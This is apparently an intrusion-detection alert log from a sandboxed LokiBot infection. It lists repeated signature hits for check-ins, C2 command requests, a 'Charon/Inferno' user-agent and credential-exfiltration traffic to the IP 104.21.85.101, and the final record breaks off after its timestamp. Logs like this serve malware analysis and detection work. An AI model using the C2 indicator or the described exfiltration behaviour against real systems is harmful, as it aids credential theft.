ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:17.983497
SID:	2024318
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:10.081251
SID:	2025381
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:51.977503
SID:	2025381
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:18.824360
SID:	2825766
Source Port:	49738
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:45.171221
SID:	2024318
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:11.985959
SID:	2021641
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:14.514493
SID:	2024313
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:39.855398
SID:	2024318
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:47.923427
SID:	2024313
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:47.923427
SID:	2024318
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:03.327854
SID:	2025381
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:14.514493
SID:	2024318
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:45.171221
SID:	2024313
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:31.013040
SID:	2025381
Source Port:	49814
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:39.029387
SID:	2825766
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:37.210299
SID:	2024318
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:39.855398
SID:	2024313
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:34.603701
SID:	2021641
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:05.187815
SID:	2021641
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:05.571891
SID:	2825766
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:57.446786
SID:	2825766
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:09.229387
SID:	2024313
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:08.406183
SID:	2021641
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:06.518525
SID:	2021641
Source Port:	49788
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:08.266294
SID:	2825766
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:09.229387
SID:	2024318
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:59.993911
SID:	2825766
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:40.730674
SID:	2825766
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:32.850963
SID:	2024313
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:38.199508
SID:	2024313
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:46.007126
SID:	2825766
Source Port:	49829
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:16.316242
SID:	2025381
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:55.635319
SID:	2025381
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:10.936240
SID:	2024313
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:17.383670
SID:	2024313
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:27.314357
SID:	2021641
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:05.571891
SID:	2021641
Source Port:	49787
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:17.383670
SID:	2024318
Source Port:	49799
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:38.199508
SID:	2024318
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:04.647547
SID:	2024318
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:53.233272
SID:	2024312
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:54.907197
SID:	2025381
Source Port:	49707
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:04.647547
SID:	2024313
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:52.045782
SID:	2025381
Source Port:	49772
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:53.233272
SID:	2024317
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:18.265929
SID:	2021641
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:54.048379
SID:	2825766
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:29.208414
SID:	2025381
Source Port:	49748
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:35.485663
SID:	2021641
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:32.850963
SID:	2024318
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:10.936240
SID:	2024318
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:33.866649
SID:	2825766
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:59.664329
SID:	2825766
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:05.187815
SID:	2825766
Source Port:	49718
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:42.867143
SID:	2021641
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:53.803473
SID:	2024313
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:56.824671
SID:	2825766
Source Port:	49709
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:50.878814
SID:	2021641
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:24.574893
SID:	2825766
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:37.342738
SID:	2025381
Source Port:	49757
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:39.029387
SID:	2021641
Source Port:	49759
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:56.483967
SID:	2024318
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:56.483967
SID:	2024313
Source Port:	49777
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:59.127367
SID:	2024318
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:09.186594
SID:	2025381
Source Port:	49791
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:36.335492
SID:	2025381
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:59.127367
SID:	2024313
Source Port:	49780
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:03.699908
SID:	2025381
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:53.803473
SID:	2024318
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:48.820321
SID:	2825766
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:15.342998
SID:	2825766
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:20.475127
SID:	2825766
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:51.174321
SID:	2025381
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:30.108861
SID:	2024318
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:47.000038
SID:	2025381
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:25.218772
SID:	2025381
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:17.983497
SID:	2825766
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:23.648663
SID:	2021641
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:21.007407
SID:	2024318
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:44.306693
SID:	2025381
Source Port:	49827
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:55.869978
SID:	2024318
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:30.108861
SID:	2024313
Source Port:	49749
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:41.138153
SID:	2024313
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:21.007407
SID:	2024313
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:55.869978
SID:	2024313
Source Port:	49708
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:42.867143
SID:	2825766
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:37.210299
SID:	2024313
Source Port:	49819
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:41.138153
SID:	2024318
Source Port:	49761
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:08.266294
SID:	2021641
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:08.406183
SID:	2825766
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:22.782486
SID:	2025381
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:43.888980
SID:	2025381
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:48.820321
SID:	2021641
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:21.838596
SID:	2825766
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:27.314091
SID:	2825766
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:17.171322
SID:	2024318
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:47.923427
SID:	2021641
Source Port:	49831
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:31.110921
SID:	2825766
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:10.936240
SID:	2825766
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:16.532869
SID:	2025381
Source Port:	49798
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:00.847332
SID:	2024318
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:13.622626
SID:	2825766
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:52.872776
SID:	2025381
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:17.171322
SID:	2024313
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:35.485663
SID:	2025381
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:34.603701
SID:	2024313
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:56:52.319655
SID:	2825766
Source Port:	49704
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:55.635319
SID:	2021641
Source Port:	49776
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:30.172586
SID:	2021641
Source Port:	49813
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:02.427081
SID:	2021641
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:00.847332
SID:	2024313
Source Port:	49782
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:34.603701
SID:	2024318
Source Port:	49816
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:08.406183
SID:	2024318
Source Port:	49721
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:31.110921
SID:	2025381
Source Port:	49750
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:58:35.485663
SID:	2825766
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.5 - Destination IP: 104.21.85.101

Timestamp:	05/27/24-02:57:08.406183
